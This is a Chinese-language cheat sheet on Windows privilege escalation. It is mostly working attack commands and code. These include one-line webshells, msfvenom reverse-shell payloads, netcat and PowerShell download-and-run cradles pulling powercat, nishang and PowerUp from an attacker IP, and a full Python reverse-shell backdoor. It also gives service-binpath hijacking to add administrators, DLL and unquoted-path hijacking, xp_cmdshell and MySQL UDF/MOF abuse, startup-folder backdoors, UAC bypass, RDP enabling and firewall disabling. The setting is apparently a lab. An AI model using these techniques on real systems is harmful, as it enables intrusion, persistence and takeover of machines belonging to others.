文章目录
- windows基础知识
- 提权总结
- 基础知识
- 提权思路
- metasplit 提权
- 反弹shell提权
- windows系统配置错误提权
- 系统服务权限配置错误
- 不带引号的服务路径提权
- 注册键 AlwaysInstallElevated
- 本地dll劫持提权
- 第三方提权
- sqlserver提权
- mysql提权
- MOF提权
- G6FTP提权
- 绕过UAC bypassuac
- 远程终端
- lcx端口转发
- 补充知识
windows基础知识
基本命令
net user
net user administrator
net localgroup
net user col 123456 /add
net user col /del
net localgroup Administrators col /add
此时同时存在两个组里面
本地组成员 *Administrators *Users
cmd /k cmd /c (keep/close)
内置用户组
administrators,管理员组
users组,新建用户默认所属的组
guests组,权限最低
iis_users组 Internet 信息服务使用的内置组。
SID
使用标准表示法将 SID 从二进制转换为字符串格式时,SID 的组件更容易可视化:
S-R-X-Y1-Y2-Yn-1-Yn
在这种表示法中,下表描述了 SID 的组成部分:
评论 | 说明 |
---|---|
S | 指示字符串是 SID |
R | 指示修订级别 |
X | 指示标识符颁发机构值 |
Y | 表示一系列子授权值,其中 n 是值的数目 |
内置管理员组的 SID 以标准化 SID 表示法表示为以下字符串:
S-1-5-32-544
此 SID 包含四个组成部分:
- 修订级别 (1)
- 标识符颁发机构值(5, NT Authority)
- 域标识符 (32, Builtin)
- 相对标识符 (544, Administrators)
域 (Contoso\Domain Admins) 中的“Domain Admins”组的 SID:
S-1-5-21-1004336348-1177238915-682003330-512
Contoso\Domain Admins 的 SID 具有:
- 修订级别 (1)
- 标识符颁发机构(5,NT Authority)
- 域标识符 (21-1004336348-1177238915-682003330, Contoso)
- 相对标识符(512,Domain Admins)
提权总结
基础知识
概念
webshell的权限根据不同的中间件权限有所不同,如没经过特殊设置则继承该中间件的权限。
webshell的默认权限是iis_users组中的
常用方法
windows的常用提权方法,主要分为漏洞提权、windwos特性提权、第三方组件提权,数据库提权和ftp
提权等
基础命令
systeminfo | findstr OS #获取系统版本信息
systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True
get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软件包
hostname #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv #显示当前用户的安全特权
net start #查看服务
Set #环境变量
quser or query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口,默认3389
tasklist /svc | find "TermService" #获取服务pid
netstat -ano |find "pid" #获取远程端口
wmic os get caption # 查看系统名
wmic qfe get Description,HotFixID,InstalledOn #查看补丁信息
mstsc #远程桌面连接
常见杀软
360sd.exe 360杀毒
360tray.exe 360实时保护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 安全狗
McAfee McShield.exe McAfee
egui.exe NOD32
AVP.exe 卡巴斯基
avguard.exe 小红伞
常见 webshell 所处的权限
- ASP、PHP - 匿名权限
- ASPX - user 权限
- JSP - 通常是系统权限
一句话木马
php: <?php @eval($_POST['pass']);?>
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
提权思路
信息收集
机器的系统及其版本
机器的打补丁情况
机器安装的服务
机器的防火墙策略配置
机器的防护软件情况
导入系统信息
systeminfo > C:\ProgramData\sysinfo.txt
补丁查询
https://i.hacking8.com/tiquan //在线查询
wesng
WindowsVulnScan
wesng用法
sudo proxychains4 python3 wes.py --update
python3 wes.py systeminfo.txt
python3 wes.py systeminfo.txt -o vulns.csv
python wes.py systeminfo.txt --impact "Remote Code Execution" -o vulns.csv
python wes.py systeminfo.txt --impact "Remote Code Execution" -e -o vulns.csv
查询可写目录或文件
wt.aspx
wt.asp
在可写目录上传提权用的exe,然后执行命令
c:\windows\debug\WIA\
C:/windows/debug/WIA/PrintSpoofer64.exe -i -c whoami
metasplit 提权
反向连接后门
//启动
msfconsole
//生成反向连接后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.128 lport=12345 -f exe > s.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.128
set lport 12345
show options
set AutoRunScript migrate -f
exploit
background
meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool
windwos常见的提权模块
ms14_058 内核模式驱动程序中的漏洞可能允许远程执行代码
ms16_016 WebDAV本地提权漏洞(CVE-2016-0051)
ms16_032 MS16-032 Secondary Logon Handle 本地提权漏漏洞
msf的基础命令
ps 列出进程
background 把session放置后台
sessions 查看会话
back 返回主界面
shell得到终端
search搜索模块
show 列模块
info 查看模块信息
use 使用模块
run post/windows/gather/enum_patches 查询补丁
use post/multi/recon/local_exploit_suggester 使用模块提权审查
set session 1
exploit
use exploit/windows/local/ms16_075_reflection_juicy 使用存在的exp
show options
set session 2
run
getuid
//meterpreter > getuid
//Server username: NT AUTHORITY\SYSTEM
维持权限
系统是x64,把后门迁移到别的进程
getpid 查看当前shell进程号
ps 列出正在运行进程
migrate 2744 迁移进程号
run post/windows/manage/migrate 自动寻找合适进程迁移
反弹shell提权
交互shell
交互shell就是shell等待你的输入,并且立即执行你提交的命令。
这种模式被称作交互式是因为shell与用户进行交互。
需要进行信息交互,例如输入某个信息 会返回信息 你需要对其输入内容,输入会执行命令。
例如:cmd终端 msf反弹后门shell nc反弹shell 这些都属于交互shell
非交互shell
非交互式模式,以shell script(非交互)方式执行。
在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。
当它读到文件的结尾,shell也就终止了。
nc反弹shell
上传nc.exe,然后执行命令
C:/ProgramData/nc.exe -e cmd 192.168.10.128 6666
powershell反弹cmd
攻击者监听
nc -lvnp 6666
在powercat.ps1页面开启一个服务器
python -m http.server 80
powershell IEX (New-Object system.Net.Webclient).DownloadString('http://192.168.10.128/powercat.ps1'); powercat -c 192.168.10.128 -p 6666 -e cmd
nishang反弹shell
Reverse TCP shell
powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.128/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.10.128 -port 6666
Reverse TCP shel
nc -lvup 53
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/nishang/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 192.168.10.128 -port 53
python反弹shell
import asyncio
import socket
import argparse
parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter,
description="############### pycat ###############\n" \
" Windows Reverse TCP backdoor\n"
"Usage: python pycat.py --host netcatIP --port PORT\n\n" \
"Demo: youtube.com/watch?v=3sMhHL6c68E\n"\
"GitHub: github.com/danielhnmoreno/pycat\n" \
"Contact: contato@bluesafe.com.br")
parser.add_argument('--host', action = 'store', dest = 'host', required = True, help = 'Host listening for reverse connection')
parser.add_argument('--port', action = 'store', type=int, dest = 'port', required = True, help = 'Port')
arguments = parser.parse_args()
HOST = arguments.host
PORT = arguments.port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
async def shell():
while 1:
proc = await asyncio.create_subprocess_shell("cmd",
stdin=asyncio.subprocess.PIPE,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.STDOUT)
cmd = b"\n"
proc.stdin.write(cmd)
while 1:
while 1:
out = await proc.stdout.readline()
break_ = out.decode("latin-1")
if break_[-2:] == ">\n" or break_[-3:] == "> \n":
s.send(out[:-1])
break
elif break_.endswith(">" + cmd.decode()) or break_.endswith("> " + cmd.decode()):
pass
else:
s.send(out)
cmd = s.recv(1024)
cmd_ = cmd.decode()
if cmd_ == "\n":
proc.stdin.write(b"\n")
elif cmd_.startswith("exit"):
proc.terminate()
break
else:
proc.stdin.write(cmd + b"\n")
asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy())
asyncio.run(shell())
python pycat.py --host 192.168.10.128 --port 6666
C:\Python\Python39\python.exe C:\pycat.py --host 192.168.10.128 --port 6666
pyinstaller -Fw pycat.py
pycat.exe --host 192.168.10.128 --port 6666
windows系统配置错误提权
系统服务权限配置错误
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的),倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户 对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权 限。 windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护 的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
PowerUP脚本
powershell -nop -exec bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://192.168.10.128/PowerUp.ps1'); Invoke-AllChecks"
PrivescCheck脚本
推荐使用PrivescCheck
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/PrivescCheck.ps1'); Invoke-PrivescCheck"
关注Service Permissions 中扫到的服务及权限和用户
+------+------------------------------------------------+------+
| TEST | SERVICES > Service Permissions | VULN |
+------+------------------------------------------------+------+
| DESC | Interact with the Service Control Manager (SCM) and |
| | check whether the current user can modify any |
| | registered service. |
+------+-------------------------------------------------------+
[*] Found 1 result(s).
Name : UsoSvc
ImagePath : C:\WINDOWS\system32\svchost.exe - k netsvcs - p
User : LocalSystem
AccessRights : AllAccess
IdentityReference : NT AUTHORITY\SERVICE
Status : Stopped
UserCanStart : True
whoami /all
NT AUTHORITY\SERVICE 已知组 S-1-5-6 必需的组, 启用于默认, 启用的组
iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
上面的IIS用户账户隶属于
NT AUTHORITY\SERVICE
组,我们可以以NT AUTHORITY\SERVICE
组中用户的身份运行如下命令
sc query UsoSvc
sc stop UsoSvc
sc config UsoSvc binpath= "cmd.exe /c net user /add Only Qwer1234 &"
sc start UsoSvc
sc stop UsoSvc
sc config UsoSvc binpath= "cmd.exe /c net localgroup administrators /add only &"
sc start UsoSvc
sc stop UsoSvc
sc config UsoSvc binpath= "C:\WINDOWS\system32\svchost.exe -k netsvcs -p"
sc start UsoSvc
我们可将 UsoSvc
服务设置为后门程序,此连接一般不稳定,建议尽快进行后门迁移
sc config usosvc binPath= "C:\ProgramData\s.exe" //将 UsoSvc服务设置为后门程序
set AutoRunScript migrate -f 自动迁移进程
sc start UsoSvc
//此时开始接受监听,返回system权限
Metasploit中的攻击模块 exploit/windows/local/service_permissions
service_permissions模块会使用两种方式获取system权限,如果以管理员权限运行,会尝试创建并运行一
个新的服务。如果当前权限不允许创建服务,会判断哪些服务的文件或文件夹的权限有问题,并对其进行劫
持,在劫持服务时会创建一个可执行程序,其文件名和安装路径都是随机的。
不带引号的服务路径提权
有引号正常执行,没有双引号的时候,windows会把空格前面的当做exe文件执行
使用PowerUp.ps1或PrivescCheck进行检测,会遍历出带有空格的文件路径
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/PowerUp.ps1');Invoke-AllChecks"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.128/PrivescCheck.ps1'); Invoke-PrivescCheck"
或者使用命令
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """
Name : 2345PicSvc
DisplayName : 2345看图王核心服务
ImagePath : C:\Program Files (x86)\2345Soft\2345Pic\protect\Pic_2345Svc.exe
User : LocalSystem
StartMode : Automatic
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.128 lport=12345 -f exe > s.exe
改名为Program.exe,上传到c盘,服务器重启后metasplit拿到system权限(系统在重启或者管理员重启该服务的时候就会获取系统权限,如果有执行权限也可直接执行)
注册键 AlwaysInstallElevated
允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。
使用系统权限通过命令行修改注册表值为1
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
使用PowerUp
检测注册表是否有设置,如果返回True证明可以利用
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.128/PowerUp.ps1'); Get-RegAlwaysInstallElevated
iis_user组用户权限不足 返回false,但是一般普通用户是拥有权限的,可能会返回True。
获取Metasploit 下的利用
Metasploit中相应的利用模块为exploit/windows/local/always_install_elevated
,可以利用该模块来完成以上操作。使用该模块设置好SESSION,运行exploit后,会返回一个system权限的meterpreter。该模块会创建一个文件名随机的MSI文件,并在提权后删除所有已经部署的文件。
自动安装配置文件提权
网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用
安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。
dir /b /s c:\Unattend.xml
/s:显示指定目录和所有子目录中的文件。
也可以使用msf的post/windows/gather/enum_unattend对这个配置文件扫描
使用Powerup扫描
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://host/powerup.ps1');Get-UnattendedInstallFile"
本地dll劫持提权
Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
- 收集进程加载的dll
手动可以使用火绒剑分析进程执行时加载了哪些dll,尽量选择调用靠后或不影响进程启动的dll文件,否则会容易导致进程无法启动,系统文件一般我们都是没有权限更改不了的,所以一般选择未知文件和数字签名文件
用火绒剑找到一个数字签名文件
C:\Program Files (x86)\2345Soft\2345Pinyin\7.9.1.8320\libcurl_x86.dll
- 制作dll木马并上传
生成dll文件上传并在进程未启动时替换原来的dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.128 lport=12345 -f dll > libcurl_x86.dll
结束进程
/c taskkill /f /im "2345PinyinCloud.exe" /t
监听,启动服务即可
/c C:\Program Files (x86)\2345Soft\2345Pinyin\7.9.1.8320\2345PinyinCloud.exe
第三方提权
安装第三方的软件例如 mysql sqlserver ftp等应用软件,如果权限设置不对,会对服务器造成安全隐患,从而导致服务器被提权。
sqlserver提权
敏感文件
web.config
config.asp
conn.aspx
database.aspx
如果网站里面使用的数据库是sqlserver,那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定是系统权限,还要看管理员安装sqlserver的权限设置,一般情况是system权限或者pulic
netstat -ano
发现1433端口
用aspx工具中的DataBase连接SQL server
#检测xp_cmdshell是否开启
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
#如果xp_cmdshell被删除,可以使用命令加载
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
#如果xplog70.dll文件被删除,可手动上传恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';
#启动xp_cmdshell扩展存储过程
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
# 默认情况下sp_configure无法查看和更改高级配置选项,show advanced options”用来显示或更改当前服务器的全局配置设置。当“显示高级选项” 设置为 1 时(默认值为 0),可以使用 sp_configure 列出、更改高级选项。
# reconfigure使语句执行后立即生效,若无此命令,需重启SQLserver后才生效。
#查看权限
exec xp_cmdshell "whoami";
#提权
exec xp_cmdshell "net user only Qwer1234 /add"
exec xp_cmdshell "net localgroup administrators only /add"
exec xp_cmdshell "net user only"
#远程登陆,查看3389状态
exec master.dbo.xp_cmdshell 'netstat -ano';
#如果3389没开,使用写入注册表方式开启
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
或
exec master..xp_cmdshell "REG ADD HKLMISYSTEMCurrentControlSetlControNTerminal" "Server Iv fDenyTSConnections /t REG_ DWORD /d 0 /f"
mysql提权
提权条件
-
具有MySQL的root权限,且MySQL以system权限运行。
-
具有执行SQL语句的权限。
-
查询plugin插件目录 show variables like "%plugin%" 如果不存在的话可以在webshell找到mysql的安装目录然后手动创建\lib\plugin select @@basedir; 查看是否开启secure_file_priv SELECT @@global.secure_file_priv
获取root密码的方法:
1. 查看数据库配置文件
关键字:`config`、`conn`、`sql`、`data`、`inc`、`database`等
2. 下载mysql安装路径下的数据文件
- 安装路径下的data目录中存放的是数据库的数据信息
- root账号密码存储在mysql数据库下的user表中
- 完整路径=安装路径+`\data\mysql\user.MYD`
3. 3306端口弱口令爆破
4. sqlmap注入 `--sql-shell`模式
php文件连接后先导出udf,再创建函数
C:/phpStudy/MySQL/lib/plugin/moonudf.dll
UDF提权
UDF可以理解为MySQL的函数库,可以利用udf定义的创建函数。想要利用udf,必须上传udf.dll作为udf的执行库。MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能。
利用条件
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的
MySQL\Lib\Plugin\
文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\
文件夹,然后将udf.dll导入到该目录。如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于
c:/windows/system32/
目录,在windows server 2000下放置在c:/winnt/system32/
目录。掌握mysql数据库的root账户,从而拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限。
mysql提权问题
1.版本有32 和64位的mysql 创建函数的方法一样,但是64版本的要用64的udf.dll
2.The MySQL server is running with the –secure-file-priv option so it cannot execute this
statement
这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可
3.Can’t create/write to file ‘D:\phpStudy\MySQL\lib\plugin\moonudf.dll
这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够
MOF提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
利用条件
- 只使用于windows系统,一般低版本系统才可以用,比如
xp
、server2003
- 对
C:\Windows\System32\wbem\MOF
目录有读写权限 - secure-file-priv参数开启
上传mof.php(zkeys)到网站目录下
net.exe user coleak$ xxx12456 /add && net localgroup administrators coleak$ /add
G6FTP提权
G6FTP的默认端口为8021,只侦听在127.0.0.1的8021端口上,所以无法从外部直接访问,需要使用lcx 工具进行端口转发。
漏洞复现
在webshell访问 配置文件 C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini
使用端口转发工具将8021端口转发出来
C:\ProgramData\lcx.exe -tran 2333 127.0.0.1 8021
另开一台win10攻击机,安装好服务
进入域,创建用户并设置用户主目录为C:\
,访问权限为所有,将添加管理员命令保存为bat文件,上传到目标并在设置中添加批处理命令
net user only QWEasd123 /add && net localgroup administrators only /add
在命令行中登录ftp,并执行批处理命令,但是执行失败了
quote stie ADD
ftp://192.168.10.146/右键登录进入c盘,利用C:\
可写,利用错误配置(不带引号的服务路径提权)上传Program.exe,重启后提权成功
利用C:\
可写,将bat文件写入到自启动项提权,或者直接写入后门文件
管理员下次登陆时会执行文件
ftp://192.168.10.146/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/
net user only QWEasd123 /add && net localgroup administrators only /add
绕过UAC bypassuac
需要UAC的授权才能进行的部分操作列表如下:
配置Windows Update
增加、删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装、卸载程序
安装设备驱动程序
将文件移动/复制到Program Files或Windows目录下
查看其它用户的文件夹
Bypassuac提权的MSF模块
use exploit/windows/local/bypassuac
#该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection
#该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
set session 1
getsystem
迁移进行到64进程即可hashdump
MSF中Bypassuac模块的使用前提有两个:
- 系统当前用户必须在管理员组中,
- 用户账户控制程序UAC设置为默认,即 “仅在程序试图更改我的计算机时通知我”
远程终端
在较高的权限下可以使用注册表命令 进行开启
2008 or 2012 or 2016 开启3389
echo DO ALL IN CMD!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
msf命令开启3389端口
run getguid -e
一条命令开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
WMIC命令开启3389
-
支持系统:
Win2k3/Win7/Win2k8/Win8.1/Win10/2012/2016(1:ON、0:OFF)
前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
- 支持系统
Win2k/XP/Win2k3
wmic /node:192.168.0.103 /user:administrator/password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
- 支持系统
Win7/Win2k8/Win8.1/Win10/2012/2016
wmic /node:192.168.0.116/user:administrator/password:betasec RDTOGGLE WHERE ServerName='WINTO2CN3V2VPR' call SetAllowTSConnections 1
wmic /node:192.168.0.116 /user:administrator/password:betasec process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
查询是否开启3389
0为On 1为OFF
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
lcx端口转发
本地转发:客户端–>127.0.0.1:3307–>127.0.0.1:3306
lcx.exe -tran 3307 127.0.0.1 3306
远程转发
服务端执行
lcx.exe -slave client-host 2333 127.0.0.1 3389
客户端执行
lcx.exe -listen 51 2333
客户端或攻击者使用远程终端连接本地client-host:51
即登录服务端3389的远程桌面
补充知识
git配置命令
git config --global http.proxy #查看git的http代理配置
git config --global https.proxy #查看git的https代理配置
git config --global -l #查看git的所有配置
git config --list
git config --global --unset http.proxy
git config --global --unset https.proxy
git config --global http.proxy 10.133.40.227:7890
git config --global https.proxy 10.133.40.227:7890
git config --global --edit
网络 代理/共享
之前给kali开启代理时将WLAN设置了共享,该选项会导致物理机不能接通虚拟机,因此需要提前关掉共享选项再访问虚拟机。
php内置服务器
php -S 0.0.0.0:80 -t `pwd`
python内置服务器
python -m http.server 8080 # 指定端口号为8080, 默认端口号为8000
nc参数
-g<网关> 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 监听模式,用于入站连接 (监听本地端口)。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 随机指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
远程桌面
mstsc
关闭防护墙
netsh advfirewall show allprofile state 查询状态
netsh advfirewall set allprofiles state off 关闭防火墙
net stop "Windows Firewall" 关闭防火墙
sc config sharedaccess start= disabled 禁用防火墙
net stop sharedaccess 关闭防火墙